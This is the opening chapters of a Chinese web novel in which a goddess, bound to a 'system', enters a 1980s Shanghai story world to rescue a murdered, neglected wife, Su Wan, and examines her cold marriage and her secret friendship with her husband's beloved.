《龙傲天凭什么你来当?》
1. 第一章 序
一匹银白色的巨狼静静伏在漆黑的玄武岩上,月光为它威武的身躯镀上银辉,琥珀色的狼瞳倒映着远处神殿的轮廓,目光温柔得近乎虔诚。
它知道,这千年来的朝夕相伴对神明而言,不过是弹指一挥间。但它的生命就像即将燃尽的火苗,已经虚弱到极限。巨狼缓缓眨了眨眼,用尽最后力气将蓬松的尾巴盘在身侧,让颈毛呈现出最完美的弧度。
它就这样望着神殿,一动不动地死了。
风吹过石崖,狼毛还在轻轻晃动,像是睡着了。
“白狼?”
狼与神明间的羁绊骤然崩断,青山蹙眉,磅礴如海的神识自神庙倾泻而出。
狼离得很近,轻易就被青山找到,她凝出人形轮廓。水袖飘落,掌心触及白狼,它的皮毛尚有余温,但这暖正急速抽离。
这副狼躯会僵硬,腐朽,最终化作天地之间万物的养分。
是岁月到了,生死乃天道,是轮回,是此间万物根基。
但——她不喜欢。
凉风掠过她虚化的衣袂,卷散狼尸颈间的粉晶铃铛。
那是她千年前为白狼亲手系上的魂器,此刻也随白狼魂魄一同消散。
青山掐动法诀。灵光聚拢,铃音再次在她手中回响,冥冥之中她感应到一份机缘。
神识扩散于天地,刹那间无数外来物在识海中显现。
最明显的,是一个科技体系的生命体?
那颗圆滚滚的光球刚触及世界边缘,就被青山擒获。
“咔嗒——”
侧身的虚空撕开,骨碌碌滚落出被湛蓝数据流包裹的光球,狼狈地停在她脚边。
“叮咚,检测到强烈执念波动!”光球摇晃飞起,“这位小神,与我司签订契约吧!”
青山垂眸,铃声响起,此间法则轰然压下。
光球表面瞬间爬满深深裂纹,机械核心暴露无遗,每段代码都在青山黛神识下战栗。
她拈起残破的系统,穿透系统的防火墙,翻阅核心位面协议条款。
所有数据在她眼中都化作可解析的法则。
跨位面能量置换?
“你想借我的手,收集其他小世界的情念?”
“没错!只要您与我签订契约,维护好小世界,系统就可以满足您任何愿望!”
“哦?任何?就连死去的生灵也能救回来吗?”
青山从系统核心抽出数据流,数据在法则下具现化协议文书。
她
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执笔增删条款。把破破烂烂的系统反复揉搓,系统完全反抗不了。
没办法,它是个新生的系统,所以主系统才放心地将它投递到神道体系中扩展业务,不然,被神道体系摸清楚老底了怎么办?
系统还不知道事情的严重性,它觉得自己运气超好的,虽然遇到时空风暴偏离坐标,落在了预定之外的地方,但刚进来就发现这个伤心的小神明~
瞧这神明浮动的执念,既有力量又有愿望,多么完美的宿主啊。
为了业绩,系统哪怕破破烂烂也积极地投出全息PPT,标红出能量置换公式。
“任务很简单,只要您走走过场,三个小世界后您许下的愿望都会实现!是不是很棒?”
青山将修改后的协议塞回系统,又将三魂七魄中的爽灵剥离,在系统‘诱哄’下完成绑定。
系统开心。
青山也很满意。
生死守恒虽乃天道铁律,但有好心统愿意奉献。
“走吧。”青山将白狼的身体收入神府,她拂袖修复系统破损的球体,十分自然地划出时空通道,往目标世界去。
慌张跟上去的系统终于感到了一丝丝不对。
这么熟练?是不是有点不对?
2. 第二章 苏婉1
"系统,这真的是这个小世界的女主?"
"是…是的。"
"你这样算坑骗宿主吗?"
青山整个灵悬停在苏婉的尸体上,凑近,腐败的寒意涌入鼻腔——那是铁锈混合着冻土的气息。
尸身裹着烂草席被仰面扔在乱葬岗,她青白交错的皮肤上浮着尸斑。
无论怎么看,她都死了,还死了有一段时间。
青山降临小世界时,就察觉空间濒临崩溃,不得已,只能将所有灵力都用于维系世界框架。
但此刻,系统告诉她,这个小世界的女主死了。
她现在是一个只能维持纯氧状态的爽灵,和空气没有区别,能做什么?
系统也知道事情的严重性,此刻慌张捧着剧情书翻看,光团在厚重典籍里瑟瑟发抖抖抖抖抖抖…抖掉帧了。
"不是的,宿、宿主...这是...滋滋...意外!"
青山抚摸光球,温柔却让球体传来咔擦声。
"宿主,再看看,还有希望的!"
系统展开光幕,莹蓝流光下,苏婉的过去如电影播放。
—————分隔线—————
一九八五年冬天,苏婉死在了阁楼。
那一天,雪色铺天盖地压在别苑,橙金的子弹也撕开苏婉藕色旗袍。
子弹旋转着啃穿她的胸膛,飞溅的血在空中凝成珠,泼满她整个视野。
苏婉跌进松木椅,手中握着的羊毫坠下,浓重的松墨在宣纸上逃窜,她的画还没有画完……
哪怕是快死了,当晚霞照入她蜜糖色的眼瞳,她也不由自主地感叹,这云可真美啊……
楼下传来马皮靴声急匆匆,院门被暴力推开,开枪的人果断逃走。
苏婉好遗憾,她们还没有……
咔嚓,生命指针走完了最后一秒。
瞳孔涣散,她的指尖从椅上滑落。
木质楼梯被宴刃踩得嘎吱尖叫,他撞开房门,瞳孔猛缩。
鞋底踩上血的瞬间,凉得他全身发颤,宴刃按上被血浸透且破碎的旗袍。
这血怎么止得住?
血正从苏婉肋骨缺口汩汩往外冒,似泉涌般不断从他的指缝挤出,顺着他的手掌嘀嗒,在地板上淌出鲜红的溪流……
"宴先生,让我们来!"
随同的医生三两下扯开他,阻隔他与苏婉的距离。
消毒,剪刀,钳取,急救井然有序进行,消毒液刺鼻的味道冲淡了满屋铁锈腥味。
宴刃双手沾满苏婉的血,像雕像那般僵立在旁,他余光死死钉在那具单薄的身体上,她那么安静地倚在松木椅上,任凭冰凉的器械在血肉模糊的创口间游走。
半晌,白麻布拉过苏婉的头顶,遮盖住她的全身,让她变得和这里的家具没有任何区别。
她的存在,就这样被人为地抹消了。
"宴先生,请节哀……"
金属托盘哐当震响,宴刃染血的指尖刮过冷硬盘沿,猛地撑住松木椅扶手俯下身。
暗金怀表从西装内袋滑出,直直坠进椅边那滩黏稠血泊里,"啪"地溅起暗红血珠。
这枚簇新的瑞士怀表本该立即擦拭,但是他却没有在意。
"她……真死了?"宴刃喉结滚动,带出砂纸摩擦般声音,"也好,倒是省去还要和她离婚的手续了。"
那声是那么干哑,让他自己皱眉清嗓,突兀地咳着。
西斜的残阳将宴刃的影子拉长,像一把斜劈在地的黑色利刃。
孤单得有些可怜。
他骤然直腰,怀表表链绞住袖扣。
"滚!"他扯断表链砸向墙面,表盘撞出闷响,碎钻迸溅,"人都断气了你们还杵着这里做什么!"
医护被吓得哆嗦,却只能挟着满腹牢骚狼狈散去。
"宴先生看着体面,行事倒像那些舞刀弄枪的。"
"算了啦,这世道是这样的,现在新政府成立了又怎样?人家照样在霞飞路的公馆养着姨娘,也就是给晏夫人体面没真的带这来……"
"那都是假的,听说,他真正的心上人另有其人,要不是夫人闹,早娶进门了……"
"可怜哦……"
染血的白麻布被宴刃一把扯落。
马皮靴重重碾过血迹,烦死了,这些臭虫叽叽歪歪,都在说什么闲言!
她有什么好可怜的!
"砰!"
宴刃抽出腰后的枪,枪托粗暴地磕在窗扇上,楼下所有声响瞬间被腰斩,那些张开的嘴都变得沉默,唯有脚步逃窜飞快。
—————分隔线—————
"苏婉与他是怎么认识的?"
青山指节叩向泛着冷光的监控屏。
怎么会有夫妻这样相处?
既不像爱人,也不似仇人,却又比陌路人多了些情愫交缠丝线。
"……"
系统滑动度条,定格在一九七八年冬,雪花在飘。
—————分隔线—————
一九七八年的冬天,对于苏婉来说,很冷。
她站在门口朝远处看,只觉得上海大得无边,起码对于她来说很大。
要知道,十二岁的她甚至没跨出过村口呢。
可这偌大伤害在她父母嘴里,小得很,小到往来的人家也不过那么几户。
所以那天,在摆放着桃木百寿屏风的厅堂中,苏婉垂首柔顺状,听父亲在上首说话,说她的庚帖已送去宴家,配的是长子宴刃。
他?模糊记忆里有道那道模糊身影...她有些迷茫,但终是应了声,接下自己的未来。
这年头女儿家总是会被早早地被定下来,所以她也只能接受家中为她指定的人,和母亲多写私密话,学习如何在屋内屋外做好一个贤妻。
只是偶尔,她也会觉得,这些教导实在是太过于平凡,与她那在弟弟窗外听到的教导完全不同。
父亲对弟弟说,男儿当自强,得去争抢。
那为什么她只能柔顺呢?
但是无论如何,前人都是这么过来的,她顺着被安排好的路,站在一九八二年的冬天。
苏婉十六岁了。
她立在门口遥望远方时,已经出落得亭亭玉立。
月白旗袍裹着初绽的身段,像是树梢上刚冒头的玉兰花,凑近便能沾上满身的花香。
她那么的美丽,身上却带着惆怅,她在咳疾中得知,父母要将她送去宴家了。
她吓坏了,她还没有成亲,就这么过去?可没办法,她没反抗过家里,只能咳着血丝收拾行囊。
这时,苏婉才惊觉属于自己的物件很少。
妆奁里的金簪是母亲当年的嫁妆,箱底绣品是要留给幼弟娶亲,都是属于这个家的,她怎么能带走?
所以,知道宴刃今日来接她,她用母亲的桂花油抿了鬓角,站在门口翘首。
她想,她与宴刃有四年的信件来往,或许,不会太难堪?
她在门口等了又等,夕阳的残红在她脸上停着,终究还是落下了。
他来得那样晚,红旗轿车顶着两盏大灯刺破夜色,轰鸣着停在门口。
她提灯等候的手指冻得发青,他大步流星擦过她身旁,带起的风扑灭了她灯里的火苗。
没有一句问候,她珍重的打扮与周围的草木没有任何区别。
等到他与父亲寒暄完成,宴刃让人递交上明面上的聘礼。
那人掀开鎏金盒盖,一块嵌着蓝宝石的男式瑞士手表躺在丝绒上,碎钻的冷光那么耀眼。
那样精巧的东西,美丽得像夺了天人的工艺,却不是属于她的东西。
那表她没带走,尺寸,看着也不像是给她的。
后来,它戴在父亲起了枯瘦起皱的腕上。
苏婉提着行囊,目光撞进宴刃冻着冰凌的眸子里,他那么清晰地说,他不喜欢她。
可她已被推出家门,如果不跟着他,她能怎么办呢?
"……"
"跟上。"宴刃冷声道。
汽车打着明亮的灯往前行,雪扑在车窗上,苏婉被车内沉重的气氛压得喘不过气。
她捏紧袖口,母亲悄悄给她塞了叠银钱,与她说,姑娘嫁人都得吃点苦头,让她熬,熬出头就好了。
丫头要离家,就跟泼出去的水似的,哪有往回收的理?
母亲让她别归家,多待宴刃好,得抓住宴刃的心。
苏婉信。
那年的她还太年轻,不知道父母用她们这些年轻人私下交换好了利益。
只是疑惑,还有难过。
四年间那些信笺,此刻正在心底发潮。
为什么,他知她体弱,却不在意?
来见到她,也带了满身的风雪?
多冷呀……
后来,她在宴家住下,宴家的老夫人处处周全,笑吟吟地让人给她送了件狐毛大氅。
"宴刃真是的,对媳妇这么苛待,让你冷穿这么单薄就来了,也不知道疼人。"
那温度包裹了苏婉,却惹来宴刃的冷脸。
宴刃踏进院门正撞见这幕,便不由分说地攥住她手腕,"苏婉,我短你吃穿了,什么时候和她勾缠上的?"
苏婉他扯得趔趄,腕骨被被掐得生疼,很是慌乱,讨好长辈怎么能叫勾缠呢?
可他不听她辩解,已经断定她有罪。
苏婉来晏家不过短短半月,便知道他嫌她。
嫌她是旧式女子,嫌她的发髻,嫌她的旗袍,嫌她这般木讷。
她嗅到苦味,原以为家乡的冬天已足够难熬,宴刃却携来更刺骨的寒风。
宴刃冷笑,朝外走去,没过多久,正厅就传来了激烈的争吵声,瓷器碎裂声炸响,逐而一发不可收拾。
苏婉攥着狐氅不知所措,她变成宴刃与家族决裂的导火索。
她不知错在哪,但或许,她是有错的。
她找了个体面的理由,送回那件狐氅。
在那个隆冬,随宴刃搬进晏家别苑,陪他上学。
他去学校的时间,她守着阁楼用手炉熬药,也看雪粒在玻璃窗上撞成冰花。
两个人见面的时间越来越少,日子那么平平淡淡似乎也能过,她好像如母亲说的那样,熬出来了?
直到某日,宴刃带着一股青梅香归来,她才惊觉,哦,日子还能更苦。
但是身边已经没有人能说话了…没人告诉她接下来怎么办,她在雪的伴随下,咳着血星子,第一次为自己笨拙地思考未来。
她仿佛来到一个空白的雪地,每一处都等待她留下足迹。
她在别苑的雪中病了整整一个冬天。
刚到一九八四年春,雪还未化,苏婉便被宴刃戴上租来的蕾丝头纱,在教堂彩窗投下的光影中,与他交换婚戒。
黑白胶片记录下这场婚礼,婚纱很美,却做不得真。
宴刃需要这段婚姻作遮掩,为摆脱家族掌控做准备,所以他不得不维持表面婚姻。
—————分隔线—————
"大概……就这样?"系统按下暂停,把画面停在结婚这一幕。
"让我看看,她的想法。"
青山目光落在苏婉稚嫩的脸上,她尸体上那张脸,也并比此时成熟多少。
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苏婉在琢磨,如果她与宴刃离婚她要做些什么?
她的人生到目前都很陈滥,唯有出身官宦世家,所浸出的丹青功底是一处亮点。
近些年,靠着卖自己的画,她攒下了二千二百三十四块七。
要知道如今在别苑养着的绣娘,一个月才得十五呢。
所以苏婉想,她或许…在与宴刃离婚后,她可以拿这笔钱去扬州读书?
她听过弟弟的老师念诗。
十里长街市井连,月明桥上看神仙。人生只合扬州死,禅智山光好墓田。
诗中说,若是能在扬州生活,死去都是人生中最美好的事情。
苏婉想去看看,想去体验。
但这个小小的愿望在苏婉死时,一切都湮灭了。
无人在意苏婉的所思所想,就如她们瞧不上她所拥有的那笔小小的钱,倒是得知消息的茶馆闲人嗑着瓜子笑她痴。
说她若是早早用这笔钱给自己打个金丝楠的棺材,也不至于被人随手拿个破竹席一裹,落得个暴尸荒野的下场。
没用过好东西,连怎么对自己好都不知道。
可神明啊,苏婉没想死,她想好好活着。
—————分隔线—————
"……"
系统播放完宿主要看的片段,小光团在虚拟屏上乱窜,"宿主,预测的世界线里这个世界全乱了,世界快崩了,救命啊!"
青山垂眸,"我看看,苏婉死后宴刃没娶柳依依?而是终日沉溺百乐门的胭脂酒海?次年柳依依溺毙黄浦江?宴刃会被宴家架空权力,失去男主光环?"
蓝光在青山脸上跳动,她反复拖拽时间轴来回校验数据,很费解。
"柳依依是宴刃惦记多年的白月光吧?作为拦路虎的原配死了,他不是应该立刻把人娶进门吗?以前还想着让白月光委屈做小,现在直接做大有什么不好?"
女主死了,女配顶上,这不是这些小世界最擅长的吗?不然哪有那么多逆袭文?
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更何况柳依依明明是个执行力满分的女配。
青山盯着画面中随波起浮的红嫁衣,冷意不断攀升。
"继续放。"
—————分隔线—————
为什么呢?
因为柳依依不愿意。
无人知晓苏婉与柳依依的私交。
她们像森林里交换果子的松鼠与山雀,秘密地藏在丛林深处。
苏婉第一次见到柳依依,是撞见她翻墙来探别苑。
那时,留着短发的姑娘趴在墙头张望,险些被茂盛的花枝缠住,那生活中少见的鲜活模样让苏婉抿笑。
短发姑娘还以为自己藏得很好呢,哪知全被苏婉看在眼里。
所以那天,苏婉其实想邀她进苑中聊聊的,但她刚打开窗户,那姑娘便如小鸟那般受惊飞走了。
可怜又可爱,便把苏婉逗得更乐了。
她想,她知道那短发姑娘说谁。
换作是她,她也会喜欢柳依依的。
她那么生动活泼,那么鲜活,在这死水一样的生活中能带来光彩。
苏婉更知道宴刃的心思,他从未掩饰过柳依依的存在,或者说会刻意对苏婉展示她的存在。
她早在他的口中,得知另一份美好。
哪怕那份美好得让人酸涩,也是好的。
—————分隔线—————
"这剧情线是因为友情走不下去?"
"不,因为她们前后脚都死了。"
"……"
"柳依依怎么死的?"
"落水。"
"……"青山狐疑,"剧情线真的有约束力吗?作为世界支柱的女主和女配都死得太过容易了吧?"
"苏婉死后,柳依依迟迟不肯嫁,宴刃也没有上赶着求娶,柳家怕这个二十岁的老姑娘砸在手里,托媒婆寻了个富商接手。"
"她同意吗?"
"柳依依抵死不从,被捆着塞进婚车。行至半途看守松懈时,她跳车逃跑。"
"摔伤了?"
"右腿骨折,瘸着跑不远。迎亲的追上来撕扯,推搡间……人就掉下桥了。最终呛水,淹死了。"
"宴刃呢?他怎么处理这件事情?"
"他……没有管。酒局上有人提起这桩事,他晃着威士忌说都是陈年旧事了。隔日小报还登了他是个薄情郎的花边新闻呢。"
"狼?"青山忽然笑起来,"那这么看,柳依依便是白死了,这个世界剧情一团乱,老断线。"
系统弱弱道,"那倒也不是白死,柳依依死后,柳家给她配了阴婚。"
青山,"?"
这还算上用处了?
"别说柳依依了,宿主,快救救宴刃啊!男主光环要碎了!"
"宴刃该有的都有,他还有什么处理不好的?"
"宿主看这个。"
系统把剧情进度拉回苏婉死的那天。
—————分隔线—————
宴刃在赶走在场所有人以后,弯腰将苏婉的尸体抱起来,平放在架子床上。
随后,他生疏地为苏婉整理她的画具,他没做过这种活,手脚不利索,笔墨掉了一地,和血混杂在一起。
宴刃蹲下捡起笔,也不知道用什么擦,他忘了自己手上也满是血,依旧顽顿固执地,试图将屋内的一切恢复成枪击未发生前那样。
路过的风将米白的床帘撩动,宴刃这么看着,似是苏婉只是如平常那般躺在床上睡着了。
什么东西在撞击?
哦,是牙齿打颤的声响。
—————分隔线—————
"这副模样倒显出几分深情。"青山指尖划过全息影像,"虐恋情深的老套路?"
"追妻火葬场是这样的,得女主痛到要死,男主才能发现他爱她。本来按照正常剧情,女主不会死,男主就能开始追妻火葬场了……"
系统低落,快速跳转了几个片段。
宴刃摔砸东西,一份份合约被对手拿走。
"宴刃作为老派新贵,是有足够商业生态意识的。"幽幽光闪,系统哀怨,
"你给我看这几次都没有。"
"因为她们对于苏婉都很轻蔑!所以才宴刃毁掉了本该到手的合作机会,让上海多了好几个强力竞争者。"
"宴刃的情绪无法自控,怎么还怪到一个死人身上了。"青山叹气,这男主真麻烦啊……
"反正从这个时候开始,宴刃已经暴露问题来了,只是觉得他身边的人不在意。只要宴刃的价值在,他情绪起伏大也只是小问题,所以说,我们只要早一点救他,宴刃就不会男主光环损毁的地步,晏家也不可能抢夺他的财富。"
青山伸手,铃声轻响,一阵风被唤过来。
冒失的翠鸟顺着风撞到她眼皮底下,她欲抚,鸟儿却嗖地穿透她的身体,徒留指尖少许寒风。
唉,她现在既没有存在又柔弱,能做什么呢?
她舒展五指,一颗泛着蓝光的小玻璃球浮现在她的掌心,凑近细看,能看到玻璃球上那细微的裂痕。
而裂缝正被细密的绿色能量稳固着,让玻璃球保持完好的姿态。
"我明明补得不错。"青山指尖轻弹球体,"那宴刃怎么还会……"
"确实,宿主你把世界意识补得好好~"系统开心围着青山转圈圈~
所以说,宴刃怎么那么没用?
青山想不通,继续问道,"导致宴刃真正走向下坡路的是什么事?"
"宴刃一年后,会跑来这个乱葬岗,到处找苏婉不知道丢哪去的尸骨……"
系统调出画面,开始播放,泛黄的报纸在风中翻飞,小报头条赫然是:宴氏新贵掘坟被殴,百年望族颜面尽失。
—————分隔线—————
宴刃把事情闹得很大。
若是雇人悄悄地找,谨慎些,只会成为上流圈子的秘闻。
可宴刃不仅亲自来了,还大张旗鼓带着数百人来,生怕别人不知道。
整个上海被他这找尸人闹得风风雨雨,最终被宴家人强制带走,架空权力,让他终日只与酒做伴,再不得半分清醒。
宴刃常常在不省人事的时候,半吞半吐苏婉的名字。
似是痛到深处,不得已不可控地透露他迟来的深情。
可,苏婉她活着时,活得那样小心,连咳嗽都捂着帕子。
怎么受得住这样一口黑锅?
—————分隔线—————
"咔嚓"
青山手指用力合拢,小玻璃球绽裂!
世界意识碎了!
3. 第三章 苏婉2
系统整个光团僵住,战战兢兢观察小球。
绿色能量依旧维持着生机,只是裂缝变大了,意识泯灭了一小块……
没事哒,没事哒,还能救!
光团模拟出泪汪汪的眼睛,干嘛呀,这是干嘛呀!
"苏婉活着的时候都不愿给人添麻烦,更何况死后?"
她松开手,若无其事地让小球消散于掌心。
"既然他那么深情,苏婉的尸体怎么会这副模样待在这里?"
"因为…宴刃守了苏婉两晚,没有等到苏婉托梦,就......就让短工拿草席裹了她尸身,随便找个地方扔了。"
青山"?"
—————分隔线—————
弃尸荒野。
苏婉做了什么才会造这种报应?
不,她已经死了,纯属无妄之灾。
她死前还觉得给宴刃添了麻烦,太懂事的孩子,总被一而再地索求。
她真切认为,这个新旧撕扯的世道里,她与宴刃都是可怜人。
在当下的时代,婚姻依旧受到数千年宗法的浸染,离婚者少之又少,离婚就是离经叛道,会被宗族实行家法。
她知宴刃在忍耐,两人终有离别的时候。
她在为自己找路。
可人死如灯灭。
她应该在活着的时候多可怜自己,因为就连她的死,对于上海这样一个欣欣向荣的城市也没有任何影响,哪怕她是宴刃这位新贵的妻子。
她比她怜悯的那些人更可怜,她自小被圈养在家中,后来被圈养在宴刃身边。
接受的是在家从父,出嫁从夫的规训。
苏婉得爱拥有她的家。
胎里带的哮症锁住她的喉咙,许多事情都做不得,亲族便勒令她少说少动,她也自觉,平日里面说得上话的人寥寥无几。
因此当恶人闯入苏苑枪杀苏婉后,能知道的人不多,即使知道,也不过是关注夫家和娘家如何处理这件事情。
苏婉本身毫无姓名。
苏家以前是大户,如今在新时代的浪潮里褪成灰扑扑的剪影,翌日派了个不合时代的老仆来宴刃眼前递话。
老仆佝偻着背,袖口还粘着苏婉弟弟新婚的喜糖碎屑,他说主家正在改办纺织厂,做事要低调,就不掺和这个事情了。
这场丧事,夫家不办,娘家也不办。
而后几天,所有来访者全被拒在门外,宴刃去百乐门赴酒会,猩红地毯从汽车踏板铺到舞池,莺歌燕舞,热闹非凡。
这般冷处置更是让所有人明白,没有后续了。
租界小报用花体字与黑白照写这他的花边新闻。
苏婉的死,是黄浦江面上炸开的气泡,悄声无息,也让人无动于衷。
甚至没有人去深究,苏婉为什么死。
—————分隔线—————
青山轻点苏婉鼻尖,"可怜的小东西。"
既已接受了任务,总得为苏婉找条活路。
她的狼,也还得找回来。
有点喜欢苏婉。
"宿主,柳依依和宴刃提前就吵起来了,世界意识的裂缝正在影响剧情……"
"走,去看看。"青山最后瞥了眼沉睡的姑娘,"总要让人活得明白些。"
—————分隔线—————
佣人瑟缩,苦着脸不敢阻止她的步步逼迫,谁不知她是先生心尖肉?哪里敢得罪?
地窖铁门被她打开,寒气扑来,没有,这里依旧没有苏婉。
"她尸身呢?"柳依依眼眶发红,胸腔起伏,反手攥住身后宴刃的西装领口。
她生性莽撞,是仲夏午后淬出的青梅酒,清冽透亮,带着未褪的少女涩意。
情绪也是那么的单一,纯粹到近乎愚钝。
"你说话啊!"
宴刃挺括衣料在她蜷曲的指节下扭曲变形,柳依依惶急地大声追问。
宴刃握住她的手,掌心冷得像是屋外细密的雪。
他忽然想起苏婉,她从不像柳依依那么冲动,总是慢吞吞的。
苏婉也没什么情绪起伏,永远平静,用纤细苍白的手指端着青花药盏,将苦涩细嚼慢咽。
"差人扔乱葬岗了。"他随口道。
他的话凝成冰凌,刺入柳依依胸腔,穿透她轰鸣的心脏。
"你是不是疯了?"
柳依依猛然向前,推搡着撞上铁门,铁色映出两人扭曲的倒影。
"苏婉是你的妻子!"
"你是说我应该顾忌她的体面?"
她被钳住下颌,被细细端详那双含泪眼眸。
"柳小姐莫不是忘了,你以什么身份在此与我论亡妻体面?"
柳依依全身的血液似乎都被抽空,面色顿然惨白
是的,她是宴刃的心上人,怎么有底气在这里指责他这个丈夫残忍疯癫?
她和他一样,对于苏婉来说都是加害者。
"苏婉死得刚好,你明日便搬进来和我一起住,以后这个别苑就该由你来打理了。"
他说的似是赏赐一般,居高临下摩挲柳依依的发顶,那顺滑的发丝被搅乱蓬起。
"你不怕苏婉做鬼来找你吗?"
"就她?"宴刃嗤笑。
"我搬进来的话,能让人把苏婉找回来吗?"
"柳依依。"宴刃指尖陷入她肩胛,"葬礼是摆给活人看的戏,她活着的时候没有人在意她,死后躺在哪里有区别?"
"我……我在乎她!"柳依依的声音一点点在宴刃冰凉的视线下发颤,"她是个活生生的人……"
柳依依知晓自己在说蠢话,可她偏要寻那具冰冷尸身。
苏婉那样好的人,她怎么能躺在乱葬岗?怎么能连个坟都没有?
若是一定得有人去死,那应该是她柳依依去死,而不是是苏婉!
柳依依厌恶自己,换作是她处在苏婉的位置上,她一定会痛恨她这般卑劣的窃取者。
她如阴沟里的老鼠,尾随苏婉数十次,戴着假面与她攀谈。
她想了许久,在夜里辗转难眠,又忍不住来到她的身边。
但是苏婉说,"我们迟早要分开的,到时候能有人予他慰藉是一件好事不是吗?"
她就像是得到了救赎,得到了喘息的借口。
在苏婉口中,这段婚姻是一场同窗共寝的情谊,待到"毕业"时,她们就会像舍友一样毕业,各奔东西。
苏婉说,惹不起,她躲得起。
瞧,在苏婉嘴里,宴刃可不是要相处一辈子都人。
柳依依顺着苏婉的话语骗了自己,她蜷缩在谎言织就的茧里,始终不敢光明正大地告诉苏婉自己是谁。
但是,那些交谈,都不是假的啊……
她窥探苏婉的生活。
看苏婉细心打理蓝色阴雨蔷薇,看苏婉忍耐咳呛绘画,听苏婉轻声细语诉说为以后所做的安排,抱怨药苦。
偶尔,偶尔的时候,苏婉会悄悄地偷含蜜饯,嘴角漾开涟漪。
苏婉悄悄地,对她分享自己的秘密。
苏婉想走出这四方天,甚至学些拳脚功夫,像连环画里的侠女……
她居然还看那些连环小人画呢。
柳依依看着苏婉那药罐子的身体,惊讶的目光直把人看得脸红了。
苏婉眼神躲闪,慌忙添了句,"就是学一下,没有想要学成的。"
苏婉和她的小秘密,让像是蜜蜂轻轻…轻轻地粘了下花蜜。
柳依依扑过去搂住她单薄肩胛,感受怀中人笑颤:"好呀,我先去学,再回来教你!"
苏婉蜜糖色的眼绽开星光。
柳依依喜欢那种纯粹的喜悦。
后来,她常在苏婉的雕花榻上翻闲书,就着雨声煎茶。
苏婉拥有能够包揽整个上海滩的温柔,总在她每个失意时刻,用绢帕耐心地为她擦去眼泪。
柳依依贪恋这份偷来的暖意。
那些刻意回避的真相,在此刻的冰冷中,都化作齑粉。
柳依依恍觉宴刃在她的凝视下面目全非,旧日她对于他的幻象碎得彻底。
她此刻心底是恨的。
怎么会变得那么突然,当年那个替她缴清学费,挡下父兄联手的抓她嫁人的恩人,怎会变成将发妻弃尸荒野的恶鬼?
柳依依连连后退,不能接受这个现实。
她不是那种一出生就受到宠爱的女孩,她是从土中艰难攀爬出来的小老鼠。
她得做很多的活才能有时间去看书,如果不是隔壁恰好住着一位下乡而来的老师,那么她根本不可能自考上高中。
她的人生,似乎总是遇到断层。
一如突然听到苏婉的死讯,一如宴刃的态度转变。
她的脑子都转不动,只有一个想法不断冒出,咕噜噜冒泡,烧得她浑身都痛。
宴刃怎么舍得那样对苏婉?
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记忆如潮水倒灌。
初识时宴刃的温存,得知他已婚时的惶惑,与苏婉相处的静谧……所有画面在泪水中扭曲成狰狞模样。
温热的咸涩涌出眼眶,柳依依哑了嗓子,"那么黑的夜,你把她扔到那样的脏地方……"
"你闭嘴。"宴刃扯开领带,这东西箍得他难受,"你别自以为是,苏婉从来没有对我抱怨过任何东西。"
柳依依模糊的瞳孔中,他的薄唇开开合合,嗡嗡喧闹。
宴刃回忆着苏婉,牙齿咬断柳依依的话语,"她说过,她会处理好自己的事情,这次也是她自己没有处理好,给我添了麻烦。"
苏婉是个不会哭的人,她不叫疼,不流泪,连喘息都克制在喉间,沉默着做自己的事。
即便毁她画作、斥她愚钝、她也只是垂眸收拾残局,她都全然接受,像一潭凝冰的湖,惊不起一点波澜。
宴刃忽然喘不过气。
苏婉这个寡淡如纸灰的人,竟与他看了三年晨昏?
他比年长苏婉三岁,幼时不过远远见过几面,可命运弄人,偏将这捧死灰塞进他的人生。
和这样的人住在一起,是多么让人厌恶的事情。
"所谓夫妻……"他攥紧拳头,指甲扎进掌心,"不过是宴家捏着婚书,名正言顺操控我人生的借口。"
这世界上,除了血缘的亲人以外,居然还有人可以用妻子的身份,理所当然地侵入他的生活?
他不允,他恨她的存在,恨她指尖触碰瓷碗的轻响,恨她药香浸透居所,恨那声"阿宴"辗过脑海的温存。
"你在为她难过什么?你配心疼她?你太低估她了……"
宴刃忽然笑起来,"一切都是她自找的,我告诉过她,那女人帮不得,她还是要帮,惹了事,填了命。"
"她死得很快,没有经历你所想的那些痛苦,这是好事。"
他速速叨叨语速极快,反复的说她死得很合适。
可或许是柳依依哭得太惨了,他回忆了下自己的所作所为,不得不承认,在这些年的相处中,他确实为了故意地伤害苏婉,做了许多过分的事情。
他当众撕碎她作的画,将她拘在家中,可那是他的错吗?明明是苏婉做得不够好。
"你们都骂我疯。"宴刃抚上柳依依泪湿的脸,"怎么不看看你哭的那尊活菩萨?要是她足够聪明,怎么会平不了惹下来的事?"
"是…是了,苏婉只是回天上去当菩萨了,你留不住她,你会后悔的。"
柳依依拍开宴刃的手,满脸嘲讽。
宴刃恍惚一瞬,记忆中忽然骤起的煤烟味,重重地呛进喉管。
"咳……咳咳。"
那年隆冬,劣质煤块在铜炉里爆出火星,烫到了依偎在旁的他,皮肤上很快起了水泡。
继母点给他的煤混了次等品,呛人的烟味弥漫房间,咳得他眼泪狂落。
煤粉爆开声音,像极继母慈悲面皮下蜿蜒的毒舌。
十五岁的宴刃蜷在浓烟中,攥紧了苏婉寄来的蜜饯匣子。
那一年,因为继母指的婚,他收到了苏婉寄来的书信与一盒小小的蜜饯,书信中苏婉说,是她亲手做的。
他尝了一颗,酸得眼泪猛落。
"今冬酷寒,望自珍重。"
信笺上的小楷晕着药香,写信的人贴心地在角落画朵小梅花。
这般稚拙的关怀,倒衬得他的处境愈发可笑。
他透过她圆润的字,依稀能看到她柔软的好脾气。
她是很认真的,一笔一划地写下这些的。
宴刃不记得自己回信中写了什么,他对于宴家的厌恶日夜疯长,等到真正见面的那一刻,痛苦早已淹没苏婉送来的蜜饯那点酸甜。
现在,他站在这思索。
这些年,他那么严厉地规训苏婉,磨平她的棱角,她到底为什么还要管别人的闲事?
又为什么,发现危险后不来找他求救?
只要说一声,他就可以阻止那颗子弹,她就不会死。
他在脑海中反复模拟,将那天每一分钟都挖出回忆,是什么让苏婉沉默?
她明明不是…无依无靠的人。
不该那样死去的。
—————分隔线—————
月光破云而出,照向窗棂的刹那,树影突然活了,摇曳的枝桠扭出成人体轮廓。
青山自暗影中踏月而来,正面在场的两人。
4. 第四章 苏婉3
可惜,哪怕处于同一个时空,活人也不可能看见灵体。
青山索性踩在干枯的阴雨花枝上,近距离观赏这场情人反目的戏码。
—————分隔线—————
"你一定会后悔的。"
"不想搬便滚,别来碍眼。"
柳依依的鞋跟敲出凌乱的杂音,她踉跄着冷笑离开。
宴刃继续在脑海中重构两日前的情景。这于他并不稀奇,宴刃素来擅将记忆拆解重组,直至拼出合意的版本。
他的目光总是专注在自己想要做的事情上,其余的所有人和事物都必须为他的想法让步。
